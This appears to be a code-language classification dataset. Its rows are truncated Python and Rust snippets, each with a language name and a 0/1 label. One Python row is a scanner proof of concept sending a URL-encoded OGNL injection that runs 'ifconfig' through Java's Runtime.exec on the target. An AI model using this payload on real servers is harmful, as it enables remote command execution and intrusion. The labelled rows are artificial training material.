text string | label_name string | labels int64 |
|---|---|---|
"""
check silence of wave.
"""
import argparse
import glob
import math
import multiprocessing
from pathlib import Path
from pprint import pprint
import matplotlib.pyplot as plt
import numpy
import tqdm
from sprocket.speech import FeatureExtractor
from yukarin import Wave
from yukarin.param import AcousticParam
from ... | Python | 1 |
concat_arr(pl.first(), pl.first()))
.to_series()
),
pl.Series([[[], []], [None, None]], dtype=pl.Array(pl.Array(pl.Int64, 0), 2)),
)
assert_series_equal(
(
pl.Series([[{}], [None]], dtype=pl.Array(pl.Struct({}), 1))
.to_frame()
.select(pl.... | Python | 1 |
essage.chat.id
if chat_id not in admin_id:
query.answer("Access denied", show_alert=True)
return
rt = query.data
host = rt.split(":")[1]
panel = rt.split("_")[1].split(":")[0]
hosts, remarks = sshx.HOSTS()
if host in hosts:
if check_cache(chat_id) is True:
del... | Python | 1 |
})
continue
_protocol_port = csv_recorder[self.IDX_PROTOCOL_PORT].strip()
if hosts[last_ip]['router_port'] == 0:
if len(_protocol_port) == 0:
failed.append({'line': line, 'error': '格式... | Python | 1 |
from dotenv import load_dotenv
import openai
from datasets import load_dataset
import os
import pandas as pd
import json
import sys
# Load environment variables
load_dotenv()
openai.api_key = os.environ['OPENAI_API_KEY']
client = openai.OpenAI()
# Parse arguments from the shell script
DATASET_NAME = "recogna-nlp/reco... | Python | 1 |
((xyz_max - xyz_min) / voxel_size).long().tolist()
def _save_model(self, step, best_para, save_fn=None):
save_fn = self.pth_fn if save_fn is None else save_fn
state_dict = {
'step':step,
'best_para':best_para,
'lr_factor': self.lr_factor,
'pre_lr_fac... | Python | 1 |
let row = rows.get(0);
let client_id: Vec<u8> = row.get("client_id");
let client_secret: Vec<u8> = row.get("client_secret");
Ok(Secret {
id: row.get("id"),
application_id: row.get("application_id"),
client_id: hex::encode(client_id),
clien... | Rust | 0 |
type that simply specifies an
/// arbitrary bit width for the integer type desired. Any bit width from 1
/// bit to 223-1 (about 8 million) can be specified.
/// https://llvm.org/docs/LangRef.html#integer-type
#[derive(Debug, Eq, PartialEq, Clone)]
pub struct IntegerType<N>(N);
#[derive(Debug, Eq, PartialEq, Clone)]
... | Rust | 0 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from lib.poc.dummy import *
@http_scan
async def do_scan(ip, port, service, is_http, task_msg):
try:
path = '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40' \
'java.lang.Runtime%40getRuntime%28%29.exec%28%22ifconfig%22%29.ge... | Python | 1 |
;
}
parameter_types! {
pub const WrappedName: &'static [u8] = b"Bitcoin";
pub const WrappedSymbol: &'static [u8] = b"BTC";
pub const WrappedDecimals: u8 = 8;
}
impl currency::Config<currency::Wrapped> for Test {
type Event = TestEvent;
type Currency = Wrapped;
type Name = WrappedName;
type... | Rust | 0 |
oded_features
def cliploss(self, features, table_infos, labels, weights, device):
args = self.args
similarity_matrix = self.calculate_cosine_similarity(features)
#print(f'similarity_matrix shape: {similarity_matrix.size()}')
total_loss = 0.0
... | Python | 1 |
on - initial_wp.position;
let dt = (final_wp.time - initial_wp.time).as_secs_f64();
Self{initial_wp, final_wp, v: dx/dt}
}
pub fn in_range(&self, time: &TimePoint) -> Result<(), InterpError> {
if time.nanos_since_zero < self.initial_wp.time.nanos_since_zero {
return Err(Inte... | Rust | 0 |
name = str(input("What's your name? "))
print("Em que turno você estuda?")
print("""[M] Matutino
[V] Vespertino
[N] Noturno""")
esc = input("Sua resposta: ").lower()
if esc == "m":
print(f"Bom dia {name.capitalize()}!")
elif esc == "v":
print(f"Boa tarde {name.capitalize()}!")
elif esc == "n":
print(f"Boa ... | Python | 1 |
uf: buf,
dim: dim,
stride: dim.least_stride(),
}
}
}
impl<T> DeviceArray2d<T> where T: Copy {
pub fn dim(&self) -> (usize, usize) {
self.dim
}
pub fn stride(&self) -> (usize, usize) {
self.stride
}
}
impl<'a, T> AsView<'a, DeviceArray2dView<'a, T>> for DeviceArray2d<T> w... | Rust | 0 |
n model.dataset or model.dataset[key].y.shape[0] == 0:
return 0.0
return jnp.max(model.dataset[key].y)
expected_improvement = acfun_wrapper(
acfun_sub=expected_improvement_sub,
acfun_callback_default=ei_callback_default,
)
ei = expected_improvement
def pi_callback_default(model, key, zeta=0.1, use_st... | Python | 1 |
class FormParserError(ValueError):
"""Base error class for our form parser."""
class ParseError(FormParserError):
"""This exception (or a subclass) is raised when there is an error while
parsing something.
"""
#: This is the offset in the input data chunk (*NOT* the overall stream) in
#: whic... | Python | 1 |
doc = "0x134 - mjpeg_q_mode_d."]
pub mjpeg_q_mode_d: crate::Reg<mjpeg_q_mode_d::MJPEG_Q_MODE_D_SPEC>,
#[doc = "0x138 - mjpeg_q_mode_e."]
pub mjpeg_q_mode_e: crate::Reg<mjpeg_q_mode_e::MJPEG_Q_MODE_E_SPEC>,
#[doc = "0x13c - mjpeg_q_mode_f."]
pub mjpeg_q_mode_f: crate::Reg<mjpeg_q_mode_f::MJPEG_Q_MODE... | Rust | 0 |
eq!(
res,
LiquidationAmountResponse {
collaterals: vec![],
}
);
let query_msg = QueryMsg::LiquidationAmount {
borrow_amount: Uint256::from(1000000u64),
borrow_limit: Uint256::from(99999u64),
collaterals: vec![
(HumanAddr::from("token0000")... | Rust | 0 |
p_shape(Rectangle::new())
.scale_effect(scale)
.frame(200.0, 200.0)
.border(),
);
window.launch();
}<reponame>str4d/memuse
//! `DynamicUsage` impls for `HashMap` and `HashSet`.
//!
//! Rust's `HashMap` and `HashSet` are backed by the the `hashbrown` crate.
use core::mem;
us... | Rust | 0 |
"""
Time Complexity: O(n log n)
- 정렬에 O(n log n)
- 각 미팅에 대한 힙 연산이 O(log n)
Space Complexity: O(n)
- 최악의 경우 모든 미팅이 동시에 진행되어 힙에 n개의 원소가 저장됨
풀이방법:
1. 미팅 시간(intervals)을 시작 시간을 기준으로 정렬함
2. 최소 힙을 이용해서 현재 진행 중인 미팅의 종료시간을 저장함
3. 각 미팅을 순회하면서:
- 새 미팅의 시작시간이 힙의 최소 종료시간보다 크거나 같으면 -> 가장 일찍 끝나는 미팅을 힙에서 제거
- 현재 미팅의 종료시간을 힙에 추가
... | Python | 1 |
s isize,
/// Could not contact DNS servers.
ECONNREFUSED = c_ares_sys::ARES_ECONNREFUSED as isize,
/// Timeout while contacting DNS servers.
ETIMEOUT = c_ares_sys::ARES_ETIMEOUT as isize,
/// End of file.
EOF = c_ares_sys::ARES_EOF as isize,
/// Error reading file.
EFILE = c_ares_sys... | Rust | 0 |
100):
output[key] = value
pbar.update()
else:
for item in tqdm(input_2, total=len(input_2), desc="Preprocessing papers 2/2"):
k, v = preprocess_paper_2(item)
output[k] = v
elif preprocess and not compute_reference_f... | Python | 1 |
import bpy
from bpy.props import StringProperty, PointerProperty
dirs_temp = []
# ==========导入世界属性==========
class LatestWorld(bpy.types.PropertyGroup):
Latest_World: StringProperty(name="Latest World",)# type: ignore
class HistoryWorldRoot(bpy.types.PropertyGroup):
History_World_Root: StringProperty(name="Hist... | Python | 1 |
ighlight]) -> None:
highlight_1_list = sorted(highlights_1[:], key=lambda x: x.page_number)
highlight_2_list = sorted(highlights_2[:], key=lambda x: x.page_number)
for highlight_1, highlight_2 in zip(highlight_1_list, highlight_2_list):
assert highlight_1.equal(highlight_2)
def test_extractor(test... | Python | 1 |
:type FaceModelVersion: str
"""
self._Image = None
self._Url = None
self._FaceModelVersion = None
@property
def Image(self):
r"""图片 base64 数据,base64 编码后大小不可超过5M。
jpg格式长边像素不可超过4000,其他格式图片长边像素不可超2000。(图片的宽高比请接近3:4,不符合宽高比的图片返回的分值不具备参考意义)。
支持PNG、JPG、JPEG、BMP,不支持 GIF 图片。
... | Python | 1 |
from sqlalchemy import Column, DateTime, text
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker, declarative_base
from typing import Generator
from urllib import parse
from core.config import settings
# 声明式基类
Base = declarative_base()
class TimestampMixin:
"""自动时间戳 Mixin 类(需要被模型继承)"""
... | Python | 1 |
太大
# item_sim = {}
# import time
# a=time.time()
# for i, item_i in tqdm(enumerate(items_recall)):
# if item_i not in item_sim:
# item_sim[item_i] = {}
# for item_j in items_recall:
# if item_i in deepwalk_model and item_i in node2vec_model and item_j in deepwalk_model and item_j in node2vec_mod... | Python | 1 |
from fastapi import Depends, HTTPException
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
from sqlalchemy.orm import Session
from app.database import RegistrySessionLocal
from app.models.tenant import Tenant
from app.utils.security import decode_access_token
bearer_scheme = HTTPBearer()
def get... | Python | 1 |
the memory operands in \\p pNodeParams must be 1-dimensional."]
#[doc = " Zero-length operations are not supported."]
#[doc = ""]
#[doc = " The modifications only affect future launches of \\p hGraphExec. Already enqueued"]
#[doc = " or running launches of \\p hGraphExec are not affected by this call.... | Rust | 0 |
# Sum Triangle for given array
a = [4, 7, 3, 6, 7]
| Python | 1 |
from Encuesta import Encuesta
class RangoEncuesta:
def __init__(self):
self.opinionesCasados = []
self.opinionesSolteros = []
self.rangoEdad = [[1, 17], [18, 55], [56, None]]
self.estadoCivil = ["casado", "soltero"]
self.contadorCasados = 0
self.contadorSolteros = 0
... | Python | 1 |
timeout=args.timeout
)
await scanner.scan(crawl=args.crawl, max_depth=args.max_depth)
except KeyboardInterrupt:
print(f"\n{Fore.YELLOW}Scan interrupted by user.")
except Exception as e:
print(f"{Fore.RED}Error: {str(e)}")
if __name__ == "__main__"... | Python | 1 |
://github.com/netcan/Leetcode-Rust
// Zhihu: https://www.zhihu.com/people/netcan
impl Solution {
pub fn count_range_sum(nums: Vec<i32>, lower: i32, upper: i32) -> i32 {
fn count_range_sum_(sum: &mut [i64], lower: i32, upper: i32) -> i32 {
let n = sum.len();
if n <= 1 { return 0; }
... | Rust | 0 |
, E, T, U>(f: F) -> Result<Vec<T>, i32>
where
F: FnOnce(
*mut c_void,
extern "C" fn(user_data: *mut c_void, result: *const FfiResult, T::C, usize),
),
E: Debug,
T: ReprC<C = *const U, Error = E>,
{
let mut ud = Default::default();
call_vec_with_custom(&mut ud, f)
}
/// Call a FF... | Rust | 0 |
pub const GLX_WINDOW: c_int = 0x8022;
pub const GLX_PBUFFER: c_int = 0x8023;
//
// ARB extensions
//
pub mod arb {
use std::os::raw::c_int;
// context attributes
pub const GLX_CONTEXT_MAJOR_VERSION_ARB: c_int = 0x2091;
pub const GLX_CONTEXT_MINOR_VERSION_ARB: c_int = 0x2092;
pub const GLX_CONTEX... | Rust | 0 |
};
if res == 0 {
Ok(sig)
} else {
Err(Errno(res))
}
}
#[man(sigwaitinfo(2))]
#[cfg(not(any(target_os = "macos", target_os = "openbsd")))]
pub fn sigwaitinfo(
set: &c::sigset_t,
info: Option<&mut c::siginfo_t>,
) -> Result<c::c_int> {
let res = unsafe {
c::sigwaitinfo(se... | Rust | 0 |
# -*- coding: utf-8 -*-
# This is a modified version of the original code from
# the SMPL-X repository. The original code is available at
# https://github.com/vchoutas/smplx. Please note that the
# original code is free to use only for
# NON-COMMERCIAL SCIENTIFIC RESEARCH PURPOSES. For more info,
# please see the LICE... | Python | 1 |
y = stats.expon.entropy(scale=1 / lam_v)
self.assertAllClose(self.evaluate(exponential.entropy()), expected_entropy)
def testExponentialSample(self):
lam = constant_op.constant([3.0, 4.0])
lam_v = [3.0, 4.0]
n = constant_op.constant(100000)
exponential = exponential_lib.Exponential(rate=lam)
... | Python | 1 |
_height, b_height);
let pad_a = pad(&pad_a, a_width, a_height, max_height);
let pad_b = pad(&pad_b, b_width, b_height, max_height);
let mut res = concat_horizontal(&pad_a, &pad_b);
res.pop(); // removes '\n'
res
}
pub fn append_vertical(a: &str, b: &str) -> String {
... | Rust | 0 |
m<&'a str> for Cave<'a> {
fn from(s: &'a str) -> Self {
match s {
"start" => Cave::Start,
"end" => Cave::End,
n if n == n.to_lowercase() => Cave::Small(n),
n if n == n.to_uppercase() => Cave::Large(n),
_ => unreachable!(),
}
}
}
fn pat... | Rust | 0 |
fn RichEdit_RemoveControl(AObj: usize, AControl: usize);
pub fn RichEdit_Realign(AObj: usize);
pub fn RichEdit_Repaint(AObj: usize);
pub fn RichEdit_ScaleBy(AObj: usize, M: i32, D: i32);
pub fn RichEdit_ScrollBy(AObj: usize, DeltaX: i32, DeltaY: i32);
pub fn RichEdit_SetBounds(AObj: usize, ALeft: i32, ATop: ... | Rust | 0 |
# coding: utf-8
from PyQt6.QtCore import QRect, QRectF
from PyQt6.QtGui import QPainterPath
from PyQt6.QtWidgets import QApplication, QFrame
from .acrylic_widget import AcrylicWidget
from ..widgets.tool_tip import ToolTip, ToolTipFilter
class AcrylicToolTipContainer(AcrylicWidget, QFrame):
""" Acrylic tool tip c... | Python | 1 |
,
):
"""Test that alias expressions work correctly with with_column."""
expr = expr_factory()
# Verify the alias name matches what we expect
assert expr.name == alias_name
# Apply the aliased expression
ds = ray.data.range(5).with_column(alias_name, expr)
# Convert to pandas for comprehen... | Python | 1 |
n/5.0/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/5.0/howto/static-files/
STATIC_URL = 'static/'
STATICFILES_DIRS = [BASE_DIR / 'static']
STATIC_ROOT = BASE_DIR / 'staticfiles'
MEDIA_URL = '/media/'... | Python | 1 |
from pylearn2.datasets.mnist import MNIST
from pylearn2.space import IndexSpace, VectorSpace
import unittest
from pylearn2.testing.skip import skip_if_no_data
import numpy as np
class TestMNIST(unittest.TestCase):
def setUp(self):
skip_if_no_data()
self.train = MNIST(which_set='train')
se... | Python | 1 |
from os import getenv
from dotenv import load_dotenv
load_dotenv()
class Config:
# SQLALCHEMY_DATABASE_URI = getenv("SQLALCHEMY_DATABASE_URI") (for sqlite DB)
# for MySql
SQLALCHEMY_DATABASE_URI = f"mysql+pymysql://<{getenv('DB_USER')}>:<{getenv('DB_PASSWORD')}>@<{getenv('DB_HOST')}>:<{getenv('DB_PORT')}>... | Python | 1 |
from pythonforandroid.recipes.setuptools import SetuptoolsRecipe
assert SetuptoolsRecipe._version == "51.3.3"
assert SetuptoolsRecipe.depends == ['python3']
assert SetuptoolsRecipe.python_depends == []
class SetuptoolsRecipePinned(SetuptoolsRecipe):
sha512sum = "5a3572466a68c6f650111448ce3343f64c62044650bb8635e... | Python | 1 |
self, point_cloud, eps=0.1, min_samples=100):
dbscan = DBSCAN(eps=eps, min_samples=min_samples)
labels = dbscan.fit_predict(point_cloud)
return labels
def calculate_point_cloud_part_iou(self, predicted_clusters, ground_truth_clusters, gt_sem_masks, pre_sem_masks, ignore_label=0):
gr... | Python | 1 |
_float, b: vector_float, c: vector_float) -> vector_float {
vnmsubfp(a, b, c)
}
/// Vector Sum Across Partial (1/4) Saturated
#[inline]
#[target_feature(enable = "altivec")]
pub unsafe fn vec_sum4s<T, U>(a: T, b: U) -> U
where
T: sealed::VectorSum4s<U>,
{
a.vec_sum4s(b)
}
#[cfg(target_endian = "big")]
mod... | Rust | 0 |
ate}")
return updated_count > 0
class AdaptiveFrozenSlotManager(RewardBasedSlotManager):
"""与adaptive frozen集成的slot管理器"""
def __init__(self, config: SlotConfig):
super().__init__(config)
self.frozen_manager = None
self.slot_model_mapping: Dict[str, str] = {} # slot_id -> ... | Python | 1 |
f F d dl Z d dlZd dlZd dlZddlmZ G d de Zy) N )TestCasec e Zd Zd fd Zd Zd Zd Zd Zd Zd Z d Z
d Zd
Zd Z
d Zd
Zd fd Z fdZd Z xZS )IsolatedAsyncioTestCasec d t ... | Python | 1 |
)?;
// }
// Ok(())
// }
// #[trace]
pub fn inp_update_player(&mut self) -> Result<()> {
self.ctx.inp_update_player()
}
pub fn save_or_load(&mut self, ser: &mut Serializer) -> Result<()> {
self.ctx.save_or_load(ser)
}
// fn bypassProtection(&mut self)
//... | Rust | 0 |
h = program_path
else:
if interpreter_path:
self.current_tool.config_data['executable'] = interpreter_path
self.current_tool.config_data['script_path'] = program_path
self.current_tool.executable = interpreter_path
self.current_tool.scr... | Python | 1 |
ate a new mesh with the selected vertices and triangles
cut_mesh = o3d.geometry.TriangleMesh()
cut_mesh.vertices = o3d.utility.Vector3dVector(vertices)
cut_mesh.vertex_normals = o3d.utility.Vector3dVector(normals)
cut_mesh.triangles = o3d.utility.Vector3iVector(selected_t... | Python | 1 |
sv_record) {
self.current = Some(csv_record);
return self.group_result(group)
}
// Otherwise keep appending records to the group.
match self.load_record(&csv_record) {
... | Rust | 0 |
empting to perform a directory operation on a file.
#[allow(non_snake_case)]
pub fn ENOTDIR() -> Error {
Error::from_raw_os_error(20)
}
/// Used when attempting to perform a file operation on a directory.
#[allow(non_snake_case)]
pub fn EISDIR() -> Error {
Error::from_raw_os_error(21)
}
/// Used when performi... | Rust | 0 |
});
assert_eq_dbg!(stack, Annotated::from_json(json).unwrap());
assert_eq_str!(json, stack.to_json_pretty().unwrap());
}
#[test]
fn test_frame_vars_null_preserved() {
let json = r#"{
"vars": {
"despacito": null
}
}"#;
let frame = Annotated::new(Frame {
vars: Annotated::new({
... | Rust | 0 |
from batchgenerators.utilities.file_and_folder_operations import save_json, join, load_json
from multitalent.batch_running.learning_from_sparse_annotations.estimate_annotation_percentages import run_on_folder
from multitalent.paths import nnUNet_preprocessed
from multitalent.utilities.dataset_name_id_conversion import... | Python | 1 |
&'a ast::Expr>>(rcx: &mut Rcx,
call_expr: &ast::Expr,
receiver: Option<&ast::Expr>,
mut arg_exprs: I,
implicitly_ref_arg... | Rust | 0 |
import operator
from typing import Annotated, Optional
from config import llm
from langgraph.graph import END, START, StateGraph
from langgraph.graph.message import add_messages
from typing_extensions import TypedDict
class ComplexState(TypedDict):
# 消息历史
messages: Annotated[list, add_messages]
# 用户信息
... | Python | 1 |
_loop))
}
pub fn process_event(&mut self, event: &winit::event::Event<()>) {
match event {
// Window events.
winit::event::Event::WindowEvent { event, .. } => match event {
winit::event::WindowEvent::Resized(_) => {
self.graphics_context.recre... | Rust | 0 |
ode::encode_config_buf;
use crate::tests::random_config;
use crate::{decode_config_buf, DecodeError, STANDARD};
#[test]
fn simple() {
let tests: &[(&[u8], &[u8])] = &[
(&b"0"[..], &b"MA=="[..]),
(b"01", b"MDE="),
(b"012", b"MDEy"),
(b"0123", b"MDEyMw=="),
(b"01234", b"MDEyMz... | Rust | 0 |
ibuted
// except according to those terms.
// Check that error in constant evaluation of enum discriminant
// provides the context for what caused the evaluation.
struct S(i32);
const CONSTANT: S = S(0);
//~^ ERROR: constant evaluation error: non-constant path in constant expression [E0080]
enum E {
V = CONSTAN... | Rust | 0 |
from pathlib import Path
import hydra
import lightning as L
import omegaconf
import wandb
from lightning.pytorch.callbacks import LearningRateMonitor, ModelCheckpoint
from lightning.pytorch.callbacks.early_stopping import EarlyStopping
from pytorch_lightning.loggers import WandbLogger
from main import on_start # noq... | Python | 1 |
(&code, "");
if !VALID_BITS.is_match(&bits) {
return Err(Error::new(lit.span(), format!("code defined num of bits more than {}!", insn_len())));
}
if bits.len() < insn_len() {
Ok(ext_bits(&bits, insn_len()))
} else {
Ok(bits.to_string())
}
}
fn ext_bits(bits: &str, cap: usiz... | Rust | 0 |
, Effect::ReturnPoint(mk_lbl("foo"),
Exp::Begin(
vec![ mk_set(mk_reg("rax"), mk_fv_triv(1)) ]
, mk_box!(mk_call("X1"))... | Rust | 0 |
n(&arm.pat, &curr_arm.pat) })
.unwrap();
*/
// create error
//get idents
//get both tuplestructs
if let Pat::TupleStruct( PatTupleStruct{
attrs:_,
path: a_path,
pat: _,
}) = &curr_arm.pat {
if let ... | Rust | 0 |
gid(tile.gid) {
Some(thing) => Some(thing.tiles[tile.gid as usize].properties.clone()),
None => None,
}
}
// Monster interactions on tile map
/*
fn get_monsters(map: &tiled::Map) -> Vec<Monster> {
let mut monsters = Vec::<Monster>::new();
for (x, row) in ... | Rust | 0 |
redentials are service account credentials, then always try to use self signed JWT.
if (
always_use_jwt_access
and isinstance(credentials, service_account.Credentials)
and hasattr(
service_account.Credentials, "with_always_use_jwt_access"
)
... | Python | 1 |
enum Selected {
NewlineFound,
Complete(usize),
Partial(usize),
EndOfFile,
}
}
#[derive(Debug)]
pub struct ByteReader<R>
where
R: Read,
{
inner: BufReader<R>,
newline_char: u8,
}
impl<R: Read> ByteReader<R> {
pub fn new(read: R, newline_char: u8) -> ByteReader<R> {
... | Rust | 0 |
from typing import Any, Literal
import torch as t
from auto_circuit.data import PromptDataLoader
from auto_circuit.types import CircuitOutputs, Measurements
from auto_circuit.utils.custom_tqdm import tqdm
from auto_circuit.utils.patchable_model import PatchableModel
from auto_circuit.utils.tensor_ops import batch_avg... | Python | 1 |
.0), (0.7, 0.0), (0.0, 0.3), (0.7, 0.3)];
#[derive(Debug, Clone, Copy)]
enum StateIndex {
T1 = 0,
T1S = 1,
T2 = 2,
T2S = 3,
V = 4,
E = 5,
}
impl Index<StateIndex> for Vec<f64> {
type Output = f64;
fn index(&self, idx: StateIndex) -> &f64 { self.index(idx as usize) }
}
unsafe impl NdI... | Rust | 0 |
contains(&parent_type),
"Block has incorrect parent"
);
} else {
// Top-level blocks
ensure!(
S::track_type_from_attrs(attrs).unwrap().allowed_in_root(),
"Root block has in... | Rust | 0 |
d name {}: {:?}. Skipping this port.", index, name, e);
}
}
}
in_ports
}
fn midi_out_ports<P>(client: &Client, plugin: &P) -> Vec<Port<MidiOut>>
where
P: CommonMidiPortMeta,
{
let mut out_ports = Vec::with_capacity(plugin.max_number_of_midi_outputs());
for index in 0..plugin.max... | Rust | 0 |
/// * h1
/// ****** h1_1
/// *** h1_2
/// ** h1_3
/// "#,
/// );
///
/// let mut h1_2 = org.headlines().nth(2).unwrap();
///
/// // level must be greater than or equal to 2, and smaller than or equal to 6
/// assert!(h1_2.set_level(42, &mut org).is_err());
///
///... | Rust | 0 |
ed = key in keyboard.EXTENDED_KEYS
pressPDU = PlayerKeyboardPDU(self.layer.getCurrentTimeStamp(), scanCode, False, isExtended)
pressPDUs.append(pressPDU)
releasePDU = PlayerKeyboardPDU(self.layer.getCurrentTimeStamp(), scanCode, True, isExtended)
releasePDUs.append(rele... | Python | 1 |
:buffer::allocator::types::BufferMemoryTypeAbs;
use gsvk::image::allocator::GsImageAllocator;
use gsvk::image::allocator::types::ImageMemoryTypeAbs;
use gsvk::descriptor::allocator::GsDescriptorAllocator;
use crate::assets::glTF::importer::GsglTFImporter;
use crate::assets::io::ImageLoader;
use crate::initialize::i... | Rust | 0 |
x $0;
}
"""
duration: Expression | None
body: list[QuantumStatement]
@dataclass
class DurationOf(Expression):
"""
Duration Of
Example::
durationof({x $0;})
"""
target: list[Statement]
@dataclass
class SizeOf(Expression):
"""``sizeof`` an array's dime... | Python | 1 |
load!(col, "fowler/repetition.toml");
load!(col, "fowler/repetition-long.toml");
load!(col, "crazy.toml");
load!(col, "flags.toml");
load!(col, "iter.toml");
load!(col, "no-unicode.toml");
load!(col, "unicode.toml");
col
};
}
#[derive(Clone, Debug)]
p... | Rust | 0 |
{
c.config
.as_ref()
.map_or(0, |c| c.connect_retry.map_or(0, |c| c as u64))
}))
.admin_down(c.admin_down.map_or(false, |c| c))
.multihop_ttl(n.ebgp_multihop.as_ref().map_or(0, |c| {
c.config.as_ref().map_or(0, |... | Rust | 0 |
Once this method has been
called the underlying ``raw`` object must not be accessed again.
*Note: Should not normally need to be called explicitly.*
( R R t closet release_conn( R7 ( ( sl /private/var/folders/vy/31wknkcs30l6xb2fzgwnrkh80000gn/T/pip-build-VQoj4y/pip/pi... | Python | 1 |
#
# Copyright (c) 2021 Airbyte, Inc., all rights reserved.
#
import dpath.options
from .abstract_source import AbstractSource
from .config import BaseConfig
from .source import Source
# As part of the CDK sources, we do not control what the APIs return and it is possible that a key is empty.
# Reasons why we are doi... | Python | 1 |
e_set(file_set, &visitor)?;
let mut temporary_project = TemporaryFFIProject::new(&visitor.current.arguments.crate_name, &visitor.current.arguments.manifest_path)?;
self.generate_ffi(&mut temporary_project.lib_file, &visitor);
temporary_project.save_files()?;
temporary_project.build(buil... | Rust | 0 |
vk: R64G64B64_SINT, bdim: (1, 1), size: Some(24), ty: Sint},
R64G64B64Sfloat => {vk: R64G64B64_SFLOAT, bdim: (1, 1), size: Some(24), ty: Float},
R64G64B64A64Uint => {vk: R64G64B64A64_UINT, bdim: (1, 1), size: Some(32), ty: Uint},
R64G64B64A64Sint => {vk: R64G64B64A64_SINT, bdim: (1, 1), size: Some(32), ty: ... | Rust | 0 |
[
Atom::NetWindowTypeDock,
Atom::NetWindowTypeNotification,
Atom::NetWindowTypeToolbar,
Atom::NetWindowTypeUtility,
];
/// Currently supported EWMH atoms
pub const EWMH_SUPPORTED_ATOMS: &[Atom] = &[
Atom::NetActiveWindow,
Atom::NetClientList,
Atom::NetClientListStacking,
Atom::NetCurren... | Rust | 0 |
25519_dalek::PUBLIC_KEY_LENGTH,
<Ed25519Public as ReprBytes>::Size::USIZE
);
assert_eq!(
ed25519_dalek::Signature::BYTE_SIZE,
<Ed25519Signature as ReprBytes>::Size::USIZE
);
}
////
// Validate ED25519_*_PREFIX against openssl implementation
//... | Rust | 0 |
/// async I/O via Linux's io_uring.
pub struct IoUringDisk<P: IoUringProvider>(Arc<Inner<P>>);
struct Inner<P: IoUringProvider> {
fd: RawFd,
file: Mutex<File>,
path: PathBuf,
total_blocks: usize,
can_read: bool,
can_write: bool,
phantom: PhantomData<P>,
weak_self: Weak<Inner<P>>,
}
im... | Rust | 0 |
nerate_count > 0:
warnings.append(f"{degenerate_count} degenerate triangles (area < 1e-9)")
# Check normal vectors
invalid_normals = 0
for triangle in result.triangles:
normal = np.array(triangle["normal"])
if np.linalg.norm(normal) < 0.9 or np.linalg.norm(normal) > 1.1:
... | Python | 1 |
"""
MIT License
Copyright (C) 2017-2019, Paul Larsen
Copyright (C) 2021 Awesome-RJ
Copyright (c) 2021, Yūki • Black Knights Union, <https://github.com/Awesome-RJ/CutiepiiRobot>
This file is part of @Cutiepii_Robot (Telegram Bot)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this sof... | Python | 1 |
from re import L
import subprocess,os
import yaml
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('-t', type=int, default=5, help='Number of times to run each case')
parser.add_argument('--no-warmup', action='store_true', help='Do not run warmup cases')
args = parser.parse_args()
n_case=5
tries... | Python | 1 |
::StringV(s) = &args[0] {
Ok(SteelVal::StringV(
Path::new(s)
.file_name()
.map(|x| x.to_str())
.flatten()
.unwrap_or("")
.into(),
... | Rust | 0 |
import os.path as osp
from cvpods.configs.rcnn_fpn_config import RCNNFPNConfig
_config_dict = dict(
MODEL=dict(
WEIGHTS="detectron2://ImageNetPretrained/MSRA/R-50.pkl",
KEYPOINT_ON=True,
RESNETS=dict(DEPTH=50),
RPN=dict(POST_NMS_TOPK_TRAIN=1500, ),
ROI_HEADS=dict(NUM_CLASSE... | Python | 1 |
, 15, 47], [53, 15, 91, 91, 55, 3, 15, 69, 64, 3, 27, 26, 12, 36, 57, 81, 42, 65], [6, 61, 44, 49, 24, 50, 63, 44, 19, 60, 45, 13, 63, 28, 53, 80, 46, 38], [32, 24, 95, 70, 86, 13, 68, 14, 42, 87, 23, 1, 92, 15, 30, 79, 17, 32], [98, 4, 65, 66, 51, 8, 59, 95, 86, 75, 41, 48, 37, 16, 55, 61, 84, 94], [52, 54, 99, 57, 84... | Python | 1 |
# /*
# * Crea un programa que simule el comportamiento del sombrero seleccionador del
# * universo mágico de Harry Potter.
# * - De ser posible realizará 5 preguntas (como mínimo) a través de la terminal.
# * - Cada pregunta tendrá 4 respuestas posibles (también a selecciona una a través de terminal).
# * - En fun... | Python | 1 |
(
Some(match storage_class {
Sc::Private => "private",
Sc::Uniform => "uniform",
Sc::Storage { access } => {
if access.contains(crate::StorageAccess::STORE) {
return (Some("storage"), Some("read_write"));
} else {
... | Rust | 0 |
:new(build_rust_decimal(unsafe{*val})))
}; (n3, pdecVal)},
VT_PCHAR => BRANCH_FROM_RAW!{C, |val: *mut i8| {
Variant::PChar(Box::new(unsafe{*val}))
}; (n3, pcVal)},
VT_PUSHORT => BRANCH_FROM_RAW!{C, |val: *mut u16| {
Variant::PUShort... | Rust | 0 |
blocking::Response;
use serde_json::Value;
use termion::color;
pub fn write_response_headers(response: &Response, verbose: usize) -> Result<()> {
if verbose < 1 {
return Ok(());
}
let colored = atty::is(atty::Stream::Stderr);
if colored {
eprint!("{}", color::Fg(color::Cyan));
}
... | Rust | 0 |
e against
//! the system installation of netlib without LAPACKE (note the E) or
//! CBLAS:
//!
//! ```.ignore
//! sudo apt-get install gfortran libblas3gf liblapack3gf
//! export CARGO_FEATURE_SYSTEM_NETLIB=1
//! export CARGO_FEATURE_EXCLUDE_LAPACKE=1
//! export CARGO_FEATURE_EXCLUDE_CBLAS=1
//!
//! export CARGO_FEATUR... | Rust | 0 |
import pytest
import sys
sys.path.append("./")
import torch
import numpy as np
from XCurve.Metrics import OpenAUC, Acc_At_TPR, ClosedSetAcc, MicroF, MacroF
@pytest.mark.skip()
def gen_data():
n_samples, C = 10, 5
open_pred = np.random.rand(n_samples)
open_labels = np.random.randint(low=0, high=2, size=(n_... | Python | 1 |
ied subsubcommand.
some_matched = False
url_args = self.args
if not url_args:
self.RaiseWrongNumberOfArgumentsException()
for url_str in url_args:
# Throws a CommandException if the argument is not a bucket.
bucket_iter = self.GetBucketUrlIterFromArg(url_str)
for bucket_listing_r... | Python | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.